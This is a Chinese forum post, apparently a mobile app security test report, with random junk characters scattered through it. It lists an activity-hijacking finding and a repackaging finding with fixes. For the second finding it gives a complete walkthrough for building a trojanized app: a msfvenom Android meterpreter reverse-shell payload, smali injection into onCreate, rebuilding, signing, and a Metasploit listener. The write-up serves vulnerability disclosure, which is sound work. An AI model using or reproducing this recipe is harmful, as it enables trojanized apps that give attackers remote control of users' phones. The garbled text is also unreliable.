" ~/ `- `4 X' i1 t& x, o% b . M) `" m* U& L3 `3 j2 u9 L- F

, w# `& ^* o: Q+ n4 W5 B, h$ ]' d0 d: p' I- _" j! I" f) \   8 y0 }6 {0 ]) B" V; N4 l- Q $ d) L! {0 Z. F+ c

- L8 B5 l6 Z4 D) u % S# t) Z1 A0 v$ D( A9 M

/ K1 v- h! w9 }' J7 K1 G K5 V, o8 j9 { B$ ^( p 2 检测结果                    ) M: M7 ?2 x, _$ q$ Z# e+ _ * V- M8 G' }4 {2 D1 J

4 X% d$ j/ H6 f" C# q 6 |7 F, w, U( H6 u8 t8 L

, V% s5 t2 n } . R* L V1 w1 U6 R9 }1 G5 e 2.1 某某某 2 z8 |& I" T. ]4 b+ I a% H# u1 W' @/ T: ?' C

2 G" f8 E7 F: X/ K9 g0 ~- ] 6 D3 t( ?( k) M; V( p& h

9 p, l8 S! @ {5 A9 m5 w; B, P! J 1 j: `) D, q' T9 M, Q7 g5 v( ^7 x# d$ u 2.1.1检测目标 7 e, Q2 Y: E: A e @; l. O4 i+ t * b/ ]/ W" F U

" n! c, R' ^5 X+ W7 Z& [+ i6 g+ ^: G+ D& [2 f) L

# X/ T& R% \5 v$ b. f6 o! ? + ]! W2 R4 N8 E, w: J9 |: |5 _ 目标地址: 某某某某某某APP # y' h; H9 q/ Z% H$ z6 z " S ~7 [9 `- x

) R# L/ S2 P$ p# z w 4 ^# S0 @+ i0 i3 i' W# r

( P p7 {( U& Q % a) l8 ]" k" R6 U+ g7 N1 J; { 2.1.2检测结果 & w G1 ]" I U1 B9 A2 x5 n * n0 j! H5 G9 k/ m9 G: O- t* B

/ L5 ?% k/ q9 B6 L. }. Z5 Q R8 _$ p 8 T5 {( E" E2 K, h! J

+ P- s/ ?- i' J- Z3 b6 v h3 v! X6 Q( D) v7 A0 Y 2.1.2.1 1 B4 o: q8 z- ^) }1 f" P " s. [! O! s7 ]2 g0 Q! h( ?; Y6 r! a5 ~

" P6 v% Q9 `' v$ R 2 E s9 i8 R* y. F

& W ?* u' ~8 t/ s6 G * t- o; J1 ~* v2 i" `/ F 漏洞链接地址:某某某某某某APP ; u+ R7 E. p* |9 ]2 a. p! j( Q ; C! y$ k8 a! |+ p J# b( g* P

% r6 [1 } t/ V7 \- T- ~, z$ @$ z& O5 ?- \, T& z/ s& G

- ~+ \0 k$ e. g/ e& H 2 g/ u2 `/ `% ~, v   4 U( ^7 |! i3 f! M 1 s* E: M% V! R8 z9 V& m9 ^ s

$ O9 _, J0 P" I$ [ 3 |( \, i$ ~/ z5 i

) Z5 \0 |( q$ I& v$ J# S : k* s* V9 c9 }5 x2 c" D 漏洞分析及取证: 3 }& m. a3 i9 ~/ B 0 L0 E+ @0 S3 G

+ T9 a1 U1 Q g: D5 T ; X+ c1 b6 ~3 g# L

4 n* F+ C/ i5 v* u: R9 _. Z" C: U) H" _% n$ I; f                  通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 6 E2 J# Y8 _3 b4 V' \- A" i. j* Y" W* C / a. |3 [+ D4 d' {1 Q# \

& g2 f2 W- d" H. W9 |* ]# l8 y3 T" ~# @/ c; U- U

9 P c& q1 y" G* i * Q7 t3 F% M# o0 O$ Y' `      / |$ ^$ c2 N( `" i& L' y$ K 8 v. U: T( \5 G+ `

3 d- C( c/ m d* a0 E) a% _4 [ 3 z6 v) m1 X( G0 d2 c8 r6 a0 y7 B

- r% ?) J( i# | $ Z- c M3 I7 ~+ N. l5 x, S                       $ i* i. x! e7 h0 U, \6 [ ) V. H0 K8 Y+ W' M5 N* n. k

% P( v7 X2 Q. K9 A9 S/ d+ \8 h4 U$ q) d

) P4 A: S* N$ F5 X! _2 q; y9 s/ C2 A6 f& n* i9 u/ p \ ' e' g( v9 f/ {8 O6 L& r3 t. y* Q3 M% g

- e$ ~' c6 k" ]& T) Q% O6 X1 B7 J- }% }& D& h8 g

7 H7 p$ U! _9 Z( w: [ 8 H( ~! @9 @: z9 x. S: h2 h 8 @: O. [, P8 O ) [( c# k( R3 k& N4 S3 E& D9 w; Q

; Y, \* X- V2 f+ C+ S3 I0 u. z' l+ R2 ]5 D. |8 u; r8 L

% n, a+ |2 B6 J9 u# m6 m" m / U9 l( m% I$ P, P 9 u. }" j3 U1 S / s- _, O& z/ J) ?5 l1 I# m

7 s7 u" B* A- Q: G0 @2 R' Q 8 c% G, d; C1 L y. Y: N

' P3 a1 a% \6 t+ H8 c : L7 M3 K9 _/ s1 @. r5 s3 C 漏洞危害:高 . o& h/ c& s/ W" u* e v7 G ) F) \' ]/ n, p M4 w; c

$ w6 \2 U7 H$ W$ t) n7 M , f8 |$ ~ h5 n0 u; t) u
. s% Q: E/ J! B/ X6 h1 Y" _9 E. F3 x/ f 4 O' v$ ^+ m( E# o5 \1 n" D o' h: V- [# [* @- T9 E9 z+ f" W% o/ |0 U) Z% q3 B, m$ X8 q- K( n. Y. T+ `' k- S# V2 |, D/ [; e2 F$ J0 a2 h j3 }; O9 s l; W+ ]! K5 T# C) {2 o8 g+ c2 B, A! t( R& ]+ Q. k9 |# i/ D3 u4 t- I( W F9 ?& _4 N! }0 @9 J! t- t5 v' r/ J3 J A+ Z2 H& F4 w1 I# s) a1 X, D# T# A c( K% t+ t* D2 z! ?- A0 i6 f, y2 G! u" H4 N. |5 F! R4 ^, X, A* [- c( I- j1 j# p& O6 |. ]) N3 R& W; J$ K6 a( \' _ N- a6 N5 |9 ^ T" Q2 O1 o( l1 K& _* a7 V v% b4 }1 q" A0 e* @0 V! j* D }$ w K2 Z1 H2 Q" m0 x% Y* L- f+ g: O/ Q; c( ~5 F+ F2 k1 V/ F6 }; ]" l& `2 W6 d2 j1 n# m" C1 t/ L) \) P, ^4 e5 D' ^) ^& y# l8 b# s
e2 k1 H* ~" q$ `: q - S# G0 z" m0 G T) t

; R$ w/ m2 l+ c, k8 s ' ~- L$ j1 `' s; W' F: }1 `6 x 严重程度 ! |0 J7 z/ G2 J$ M9 p( g7 ` : F. V7 `6 g X: j

4 G0 I% m9 P& d+ O * R9 ]" t: e: F7 Z! w6 b7 }
7 k: b/ \' R7 t0 j3 w1 l; s+ d: C P, t " r1 K7 i2 ]: ~- N

- X. z1 d( B1 I! F( e) q) R / t) u, ~* ?3 [% _* ^3 A+ R' A 高 - b& s2 b3 u3 ~% i* |+ ~& V + [! }- E. o: A( U5 m; S

) {% I' T6 _" X& ~6 K ! l. l$ B* E/ Y2 K/ f- ^- D
: _ Y o6 D- V H # e9 Y% V6 e. H. A

/ O" a1 l. f8 @0 C, C3 {$ o / i0 B6 z3 T: m& i ■ & I( H3 |" p+ b$ J' ~* l; n7 H; Y5 W3 n# s8 y: d8 f

; C* |4 h. Z k! A' p8 C6 V . M+ B, E* u$ Y7 J% g$ O. S
& r; [" J. E. m, {( }. _0 n% ~$ u% U" h& D; D

& y1 ]% [& t8 }" Y9 z" c2 o ! c2 [7 S3 M& u- x" Z7 ? 中 , p* b% ^1 i& g' }& ^ 0 N4 m, v' N. M4 t

n1 U) j. P) [8 h# O . K2 g& ~; C" j8 e7 K3 n
/ t' J3 j: L8 S* ]3 E/ s9 o$ Z9 l 0 J% f0 M/ L1 j# O; H

2 b6 j4 E2 ~) @ Y! R3 T ; w& K4 o. v9 Y Y- C! A   0 w6 v; i. f0 J) y 5 x. k9 q/ P6 O: f) Z

, v/ X; h7 i& X! n. ?8 N0 B0 l, b; V- T
0 ?9 E; V3 |) _, E ' M- t9 w% ^4 ~) F' ~

( ]7 M4 j; d3 G( C) f/ ] ) p9 r0 y7 f* P5 e* ^ 低 / k* Z" { S' Q/ r2 Q+ J$ e & ]2 K- k9 R7 D& W

! L- N8 P- V. [* w& @ X6 N, \" J1 ?% F/ O; f k) a1 L
, u, N6 H& T1 p4 B, m . }! k( u7 s: }& A) Y, N) u

7 g% Q7 }: s! B ; q2 m, e" E2 I   # g [% ?, _1 @8 s+ h; C7 ^4 C/ | ( ~9 i& w& `! ?- A) H4 F

9 P9 E3 |) f' d) _8 h. T+ d% N, ]: }8 A7 }
v6 h4 {# @/ O d # S7 O6 ~% i' q. |, B( D9 d
0 Q- K. f% n" c$ P 9 U% g; Z/ z c- L# {

2 l# K$ v3 c$ S2 @ 5 Y, I3 F: e! P   # Q$ f; K9 S9 P) ^; w * b" j% @0 U# G0 r

/ E: [2 T1 _0 `+ B* w. R' B+ X ) N. C) f5 }$ }) ?# m' z8 X

2 F1 p9 p) d, \3 s* e 5 ]1 X6 Y& ?9 N4 W) l 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 2 d* g" w- S# }/ s* p 1 g/ \! V7 y( h

2 B4 @# _( h, J; h; e ) s$ T u; _% i* r' n/ Y s

+ x! y& P/ L8 w9 a/ _ 0 X3 @; _8 K% Z           ) s' i- J# y: y! C- I8 w W4 i! S- _& `# t4 J

& c- y3 i7 h# h9 X- i- t / _% \- K4 u. J

" u" Z) f) i7 H6 I+ t, y; ?/ N0 P. A- T+ D B   : T2 U0 a/ h9 K( ?! P! d/ r" r a9 q; z* }

: U! n7 W1 S# H$ u( T" A' D 6 V* x$ T! d. a% t0 P7 e

2 y$ V. U7 ~# R* ]3 g/ E( n. D1 a/ y: {% o& {7 V8 t 2.1.2.2 4 R7 ~8 f* K' L I , u. j7 x3 Q9 f8 H0 Q, }, ~

3 U# c* g7 h6 q4 P+ w1 ], p+ L 9 v' g4 N; m6 @' x2 ?* F0 g

4 l5 M& ^; n- w9 w' x5 L I; ?7 w6 s 漏洞链接地址:某某某某某某APP # H+ I- k2 v2 c2 j* d6 l8 @) u+ w2 ^/ R7 L1 z! N G& d

- e& a8 z6 e) J: H: _* [0 }3 B3 m4 K

0 U- d! n; y$ y# X! w- I# J - |+ P+ U& |# ? 漏洞分析及取证: % X8 E s7 O1 G: X9 u6 }8 N, X: A 1 U: J& i" P+ ]% d

3 h/ w0 m- Y5 g- D2 g 8 ?+ X+ `# m' ], c- H8 `7 F6 O& W

2 F) P& z7 Z1 z ' b# ?) x9 w& u, u( ^                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: " c9 i( F) a( u. j4 u7 w) \- ^9 E/ y& _5 ^5 w7 Q {# w

( B( S8 G' _1 m$ d. E 3 R* C! I+ _+ R/ R4 `( D

8 M0 e2 `* U* o! [* s' R |* b' k9 M6 c0 d5 I4 F 用Metasploit 生成木马 apk : q+ z; e# H; L3 J5 K! [ 6 ?6 v: G8 K1 F

: a; d8 b/ r& C) C. U; c 6 Z | J7 {/ p0 F, g1 E; a

+ I+ x) @- g4 r+ U" ?0 D* f9 J8 ` - m5 X! J& G! R; b/ T5 } msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 2 @ s$ S+ }! k- @7 v* f$ @4 y9 c/ s/ U8 h

( ]6 z1 v% |1 e1 z1 M7 K - y+ t/ n+ v& Z

* m( K" G& B7 N* Q, V: {3 S+ U9 T5 G [- \2 ]1 c 反编译目标apk和木马apk 7 g" q# Y6 ^# n3 O7 m3 H6 m 5 L+ }; l3 l3 H' h$ H$ z+ E2 Y

# t! D* ]. G8 Z! K8 @2 F: _ " S" K; {; Y1 x$ t1 y

% b- k$ N- q0 ?7 `8 { : x7 v' Y5 x" ]7 B2 A, e apktool d target.apk
1 Z2 I( y- Y, z+ ~6 G * R3 [% p- L0 F! F% R' r. s apktool d cockhorse.apk
& L6 K# h. h( j4 r7 {# z( f/ }2 m, M% W* u7 c; I

% z: ~: V. {! c/ y 3 c* c% m' @5 D+ W6 v

$ A2 b2 w! S) Y! @% N 9 L8 T# O8 k( @) a; x9 P2 D' Z6 v7 Y 木马 apk 注入目标 apk 2 ]. D7 Y7 ~: B% C! R5 i( `$ [ 0 U0 X% E6 C; b3 y+ |4 \2 X, n( o

9 E l- m* s+ O' [ t ^ / P8 ~; v$ B- y4 i4 K2 v! P

6 _( R" E. t5 d! n- p3 k . R3 M2 p9 V; h 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
: Q3 x6 ?) p# u% I 8 P5 g& h: _1 D9 P invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
1 @) ?* _1 r* ~$ u1 l0 \; m+ z% f/ S

% g2 z, N. \/ f 8 c# c+ @; j% x/ d

/ M9 R" J1 \# ?( G " X# `: z9 U) L6 [+ c! |& @" k& O! P 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 0 o7 F1 ^3 c- b 1 [: ^/ C4 [1 L6 a2 {* c

@9 h1 R" p) Y9 l6 V ; m$ @# v2 p4 I0 _

( K- w% ] x- g& H/ h# Z( } 8 m W* Z5 j1 @1 G2 e6 y! M9 A 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 * G+ S6 g# f. J1 `9 L" b % V- s" ]3 S( l( F' z) {, L& E

+ k0 Y5 v) p/ u 1 U5 l7 w" N$ W( i1 S1 M

! L' P: M% ~6 X+ t5 b 6 \; O- P5 j3 P+ E. [. V& b) ] 回编译生成最终 apk / J2 t' [8 N; X8 ] X$ r% [6 I+ L, \- J8 E+ Q4 V, e

/ R7 X- k# N2 G0 [7 B) n $ \' S; y6 ^$ a" [% b

) D& p4 @; j1 \ 6 ?; D9 R, h$ I( T B- Z 重新打包 / X8 u M8 Q8 y, f) F8 X! `& x + y+ g1 [7 M( v0 D7 u! `% d6 I

$ J* D1 L6 E: y) E9 c5 R 2 F6 b+ m3 x* M* H2 D! k$ O

& @4 o5 B+ M$ Z, c; W 0 g! B7 t8 g% d+ e$ A3 s. T- ~ apktool b -o repackage.apk target_app_floder + V2 K+ q% W1 B: t v : [1 [! ]% b( {0 W! t0 B: ?& G

; W0 b ~6 u/ m& X0 {) b7 u7 p- _; O, R0 M( R

; E e) ^# _5 y7 D6 s! a 6 B; b( m# G" t9 y; s 创建签名文件,有的话可忽略此步骤 ' T- h0 ? O0 l) b, y6 a4 a! I- f! B. R, n

. k1 E3 L3 y9 U k j) F8 b$ t0 W6 K3 }6 H

3 \4 e/ r& q' C4 K0 j1 s L% G6 M# z( `* z# [' Y8 K keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                2 T, u6 i* B8 n8 y* h2 _5 F7 w 6 {: p5 g. G; I7 A# H3 @

$ K5 A" y/ ^' K9 Y! B1 O& I; j8 x: Q 8 b6 X& g. c% v( l2 _

, Z% l5 n" n: t% W, h! y 4 V& g: i3 i. P+ M& A# N4 F& E 签名,以下任选其一 9 g3 ^2 {1 l( T! m- _8 N$ V 7 Z9 Y- ]8 G* V& F) E

. Y: b" H6 `! \' N % f) Q d9 X- S q/ r. W

3 t, j3 J/ G. `: c( f) S" i: O0 r & U% x% N: h/ g) V0 e jarsigner 方式 - m; y3 ^2 s, h0 X - Z. C* n0 B9 i+ G% h3 A

) k& c0 s5 r* |/ K1 ? 0 Z6 p- M0 d2 t9 F$ b

8 Z, v r, t5 D( _1 `+ q + _* B; t. J" q: F% C9 p+ z jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 8 X5 z$ K; Q' q; j. Q$ Z2 l$ U6 b5 U" |4 c

# B% L; R/ Z2 q% M6 c 9 L6 L/ v4 [, _5 I6 f1 A

5 C5 r0 |# \4 n, L4 `( P1 k4 } % v9 t- s, N5 ]1 B# E5 r5 i% ] apksigner 方式 / T4 w6 L7 O- e5 z( f7 K2 }* ]+ B# Z H1 C0 i% L

% x- r4 Z$ K" @4 |: N9 m: G1 m 2 r( Q B: E D d! k0 O

: A& {! o8 O) v% `4 \0 [4 v7 d4 P# Y0 l4 S& Q; p apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk t! x' t7 h* a5 L 4 k' ^, r1 u9 }8 g

/ h. G2 r( ~( u, E/ T$ ?) E $ O. i# \6 F/ v- Z' M

9 G5 g) v+ h) U0 P* X 3 T6 B6 M. k% o5 J 如需要禁用 v2签名 添加选项--v2-signing-enabled false + y m# J+ t1 k; n1 g" Y3 H ' w. V/ g# P% O+ j) e+ D* p

3 `! L1 V }1 h9 c$ J4 s2 z + F' U$ B3 \( q( F

% ?; j7 g4 Y! ~, E% J% ]) c& A 5 u! u' X) C% h/ \+ @4 V 验证,以下任选其一 - Y9 P6 n: ~! q- ]+ w 5 N# W5 K* x& b9 ]" B' x' {$ P

! F9 z* e/ K0 J 2 h$ s; S; J; N0 l

3 P% _/ _0 ?8 z( M$ h( b& {7 t6 f 7 ]# p) z2 S. n! I8 s3 U jarsigner方式 ! {6 j) h" C2 ]2 p + D& M }1 ? Q' [+ D+ _

) L+ R$ Z% L: ^- G! y 9 d+ H2 r! ~0 a: s( ~( N/ C

3 w# c7 ]9 f+ J3 j9 P) B7 ? ' a; O5 p8 }5 n8 P jarsigner -verify repackaged.apk / v) M$ O3 v* S& B$ q( w1 f o1 C# G% d3 F$ u

( M- T I& C. J8 ~9 d ; D+ M$ c) [ W7 \. d6 q' y

$ `5 {0 [& q9 Z1 M 1 L% X+ d$ \" Q apksigner 方式 3 v' j& o' N$ J9 x/ x( f( ~% E4 _' j 7 i3 ?2 Q8 F1 c" g" }( h! O/ B! u2 g

0 O* O5 ~% J% W, V9 p8 F: y * k+ Z/ g8 ?8 x4 h' w

$ M; p u& N `) E v8 O; z' d% B8 J/ E1 R0 M/ V; N7 }' m' M apksigner verify -v --print-certs repackaged.apk S/ V& h3 v# D& J& D% ~' E1 R+ G6 m; G" U

1 b6 q7 L( }* L% u/ K7 C* k 0 R0 g5 K% L. T/ Q

& X8 ` i0 d* ?0 ] 1 `9 t# R; F+ ]" e2 l keytool方式 2 t5 q7 x4 c+ ]! S " ?" b: d% O- @1 i

9 J- p4 Z/ v( W9 J - p. O& d9 j6 X+ a

+ K6 o% S2 m% @ 7 k( T, T' E2 w$ N- v keytool -printcert -jarfile repackaged.apk , j4 G" t) h/ b* U! D* o+ o Y. n* n# ?6 m! n) P+ j

$ e. ~$ x6 u1 O2 R% \! W6 b3 J& D; A4 f3 @# W. O* p. V& |3 Q! }

5 ~3 ~# U0 {( {: u2 |$ w : d8 `5 E4 D; F6 H 对齐 " U% \; g1 `0 Z+ V5 I6 Y : m1 Y; ]! R# ^

$ X9 E) Y6 t+ ~! x5 m- w 6 N+ b' u# x I+ y9 ^1 w* }9 n

# ~, W ~2 d4 K; K+ ]4 P 2 Q& C4 B& ~, M# F# e6 f' }% s 字节对齐优化 ; N4 N; x+ G+ d! s5 ^: U4 Z; N% H- m/ a 1 Y e& D# l V8 b& S$ h) `

6 x6 Z; Y* N, {0 T" \4 Q & _7 X1 F8 [1 k/ v

8 _# O7 S: a+ R* f2 E' D& n 4 _; P7 M/ |, R$ g" \3 z% f2 I zipalign -v 4 repackaged.apk final.apk ( c' n" J# B9 E' V& i, j5 Z" ~ # z. |. ?2 ^; Q; d6 c

( @7 u u9 y6 L" H6 I5 F | : b8 A% E4 z! w4 |

: U, i0 B1 j9 x. l( c. t * y/ Z- b0 P( V 检查是否对齐 / n" ~! e( U5 D # W9 D. t& }. n, y

8 V3 _* C5 [, G7 ?+ Y% g6 a, R1 w: i* f/ ]

8 F" w. a7 E7 V2 O5 d6 D C* H / `6 M- f' u' P/ e zipalign -c -v 4 final.apk ) V* Z D4 Z) H ( x* d# @7 w' s3 n0 V6 y. ]8 @

2 s3 D" |$ e( [ ( c* s8 U3 ~& Y

2 R9 b1 X/ H0 m$ x e; ` , c1 C& } G' G; Q; `% i 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 & u9 |5 V1 m+ b1 }; a* M . g- G4 E: q+ ]1 B( g- ]

) _" [ [/ B4 q" ?) N4 ~5 D . E e$ E# Y1 b+ m: j) {4 S" f

! A- k& s; T8 A4 |2 t" A- s F; Z# P$ f- l7 v7 F& N ~9 N 启动Metasploit控制台,配置参数等待上线 \$ @; l& N* |, Q' P ( `! Z' `7 ^; r9 }

1 p: @5 }$ F2 x& p- I* k/ q - a' H3 c8 e' B. a8 S& [

& A E8 g& f3 e, s8 L- i 0 x4 n! a: `# e. M 在终端依次输入如下命令 2 c* N8 r; B+ }; P. s& U) a) m 0 l0 g% _+ I; ^1 F* a# S

/ }0 s0 p3 o" h $ E, W+ e# y% E9 t4 Q: a

5 S/ m1 j$ e% e t5 _8 B+ U- m, B. a0 o4 P0 B$ H" H" C msfconsole ' r. L4 T" e. _5 B% a1 O : V, Z S+ g" o

/ M9 F2 v7 U& U9 z- R ' a# [# t/ Y) x1 X( v

, T* |9 a0 g% X6 j$ z% N( l+ `% v0 k use exploit/multi/handler . r+ s. w0 K+ i+ ^0 j 9 b: u- w/ U' |5 y: r7 v5 t C R

4 [4 C6 U) ^% _" p 8 ~/ b$ d7 S. e7 J/ I, s

V2 s' _9 F( V J5 [% R ! j" J0 ^1 R2 E- X) O# i, R set PAYLOAD android/meterpreter/reverse_tcp ! N6 L, ]6 \/ e3 k2 k9 s* i1 B* m% j" X2 v

: ]) i) }2 L; h( ?3 V6 D8 h3 ?4 S* c$ ]8 S N$ P3 w A5 i

% w- o2 b! g0 c$ a/ X% p $ e, y0 L" B7 A/ T7 Q set LHOST 192.xxx.xx.xx 0 j+ }/ c" G' t' E1 h " s8 w# \. D; \% c/ P5 a! Q {, {

1 B9 p/ n( E. z! C& i ) P) G( ]3 I. Q! ?- V! c& ]& a& j5 ?. G+ o

* K- F9 W4 V& ]+ W4 _6 c + J+ O3 V1 K1 u" r" J5 C. I set LPORT 4444 / t3 W9 _/ S$ I- W7 q0 u $ s" }) I+ j2 w ~; _9 D

/ {# y% }3 r1 Z9 o& m, M" F5 p & G Q3 H/ j( @ h+ p$ s

; L, q! M! I! ^2 j, `) [ - {/ I F5 w$ O5 S) ]- p exploit ! e- d9 _0 @' _ C9 G0 z2 C8 [% S ( V/ g# M1 s, f5 ]

+ E1 ~* x& f D- ]5 S& F ' O+ t) p5 H2 K _* U" U

5 ]3 q9 T0 j( H8 Z# S; [3 u3 w2 _ |+ m' j 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               7 m9 R. U! ]1 ?' w+ b5 q* P7 ^3 B : X% p3 B* L( J

: {/ S7 I5 @& i0 o: e( f( }7 I4 V! L9 t( E6 J& ~

2 K! } [0 [+ a; X / \7 f2 s! \8 _0 b' S5 u 漏洞危害:中 ; W/ w& X$ I: |/ D& E. y' C - B" o# K a* U; G

) h/ ~/ e; H i; v8 } P 4 w0 M7 Z" E v! e
0 @; o6 y( a2 d) V7 \+ Z3 e5 y( C9 j/ B $ b; U% l, a3 F3 b/ m! D% L, ~ " E8 {+ E# Z( Q- p V1 `& V , d/ F% Q1 W* d/ C C) j' G9 p) `# g. ?; i* E( t3 F7 S# z$ H4 F7 U. M$ j+ {2 _4 }4 C/ T5 |8 k# {/ f( k4 I5 v& M% Y3 z4 d5 g& O6 Q' Y. @8 m7 S8 {5 a: w; E$ N% [4 Y3 |! w2 K( |+ Z$ N) U. u' N. Z7 \ M' c! g- N* P, J6 V+ U9 l ` O4 P- q! E; s! U7 B+ \- K* t' |/ s9 R5 E" H# K4 n3 E7 w+ z P% Z6 p0 G% ~' k* {% w& r) r g$ _+ F- `$ i9 a( [% u+ W- @7 a2 N4 G: U3 H& b$ ]2 X2 ^! I$ j2 B, Y7 k- G/ G/ P4 F/ Z: ~. |7 m6 _' O& `) u2 @4 m3 e0 K4 f; i. _2 i2 c: l- M4 N/ V e1 E ]" x& R" H( ~9 ]$ Q* h: ^7 A7 k% t& t5 f* |# T
; L2 _$ k7 x- C$ c5 y3 |4 l 5 V# O' _/ @: G( B6 C( X/ F5 H0 s

5 b! ^( _- B) O8 N" c( W$ B" D7 o! j4 ]* ]" j7 d 严重程度 ) x+ m# Z) S- Y- i# ~5 m ; q2 }3 ~" f9 j! {

3 ^5 c- `- _1 Y% [1 \9 J- h 6 [3 T4 M0 h7 a/ R4 p7 \
' C5 Y: M$ z) e% G 1 b& k3 J P: B

" Y, _! E) w2 \2 i' E3 R; h% a% l: N; d. B: N 高 0 }$ y8 u9 p. }, x. k" l0 Y5 ^3 S5 {2 y( E9 |0 c

* D& m& V7 ^* J/ K- u+ M8 s) g' Q9 g* F* M$ Z i* w
& o( {( W0 V/ T- q: k& O 9 e& v, x. g: H# H+ `! w

. }6 P) _/ q; ?, x3 [5 e 3 f( T y! @: [- B# G) n ■ 3 Q1 F. H8 @/ g: c * [. J/ C' B# s/ u i- n7 i0 j% ?

4 A$ o! L5 |6 N3 X4 I " R/ N. O; y+ D. V, E
4 c5 R7 w9 C4 e" k1 Q9 T% M+ u8 }

. d' ?! S' g0 V, P% m ; ?" v# k0 H& j( s& R 中 $ \: C5 ?/ S# S6 W $ L( U. }# j7 P

* M( k$ W! Q8 n! \( T 5 M& Z0 Q. N( N- c P
8 _/ x S1 M) T. N( v- m 9 e! _% `& W } ; X6 t' \ a# a D7 R& W & c- _* i+ J9 k; k7 _& V% d

. `& x: N( \8 A! D. m- d: n $ X8 G: ^ M) _+ u5 V/ q' T- @   9 |1 D/ _( e6 L2 P2 N0 Y7 V' }; z5 H7 u7 \3 V! @, L6 `, p; ?, W

. _: ^/ f' }! W6 w. i 2 q7 O0 }# r3 I9 h v
/ Q4 y& M+ | k) B5 W3 a" I6 a' S% U* j% k

2 C6 b+ d$ d+ j, n7 {9 s * e# m" m: A7 ]2 ]7 R 低 4 U' x. b P5 J) i; S# N! \5 k I+ @' U

, t7 D7 K G1 Q N; v# ^3 _9 ~: H1 s/ ]+ |1 K8 q
* ?3 e- A6 x- W! K! t3 ` & {) s% x6 |0 l: e" b$ z . m" {2 }8 [3 y8 y' C {. F $ V" w. X, Z1 r: o

, T5 k- ?! m( ?( R 4 o5 _7 s6 q& R$ I- F   + v! T# s& u! D/ Y! h; o0 v9 I ( M: h1 u! f5 m: \( X) A

' ]& [5 y3 V0 }$ x$ x7 N, f, ] 2 t- m$ l. `# u w' C8 R* g
) Y: `0 \6 x% N, t, z/ w9 a0 h7 O( }$ z& \
2 t8 M2 O4 O$ s 5 ]: l" G, t; `5 W. m

! Q1 x; d# X" ~; E. V' x; b8 C $ h0 B* m- Q/ v4 x   5 Q! r* f- x7 s6 z' m# I6 W6 b5 N

* x8 Y C2 C( J+ I/ m + K, O# |0 ]/ ?

. Z& B7 P, R: b2 m2 p% f# I2 W 0 H+ P8 F' z3 T' j 修复方法: * _6 l& P( R) r4 l + p$ [; P( q J

& u3 d9 @1 q' W8 L9 ]" Q% Y- I+ i0 M ) J$ [' E+ P( q; ^- Q: f

5 R5 m) f' n# P" _# w3 P( I # [: l! O: e6 u3 y [6 S W               1.在 APP 启动时应做签名校验防止二次打包。
* n: r* s4 A2 g/ r8 _7 G! \* n " f+ A! M0 [/ f 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 9 R& X8 i5 L+ D% n, r7 \% b: F ! ~ n1 H2 O' |7 e3 l0 |% R, q7 n

; k% v% R0 ^: Z' p4 q 0 C6 W( Q# u+ h" \/ P 9 \$ H5 W# q+ {- E+ H& | : R" G# A2 |. t

, g+ x) q; S; G) W ' k; G! l8 v, Q. e1 i- v2 \) q; c   7 C4 @ e, r1 l4 R6 H" ]# A' v 7 @1 @6 o1 V8 a3 g9 A. f, l

d# g" k: |" i8 P4 ]) i. }$ g; [ 6 p6 W' u3 z3 j: d( b7 }: m& U4 V2 }$ p% `2 |4 Z; m

|4 c: @5 H* g% X5 {! M& M5 ~ h+ |& d$ o% ?7 T$ R+ f! j) `
, W" | f# p1 ?$ A" f ; {- V" ]5 o f3 \* R. Q8 l

5 w f Q- F2 M* X, r3 b; E ! j) c+ [, E) ?% j- G8 ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表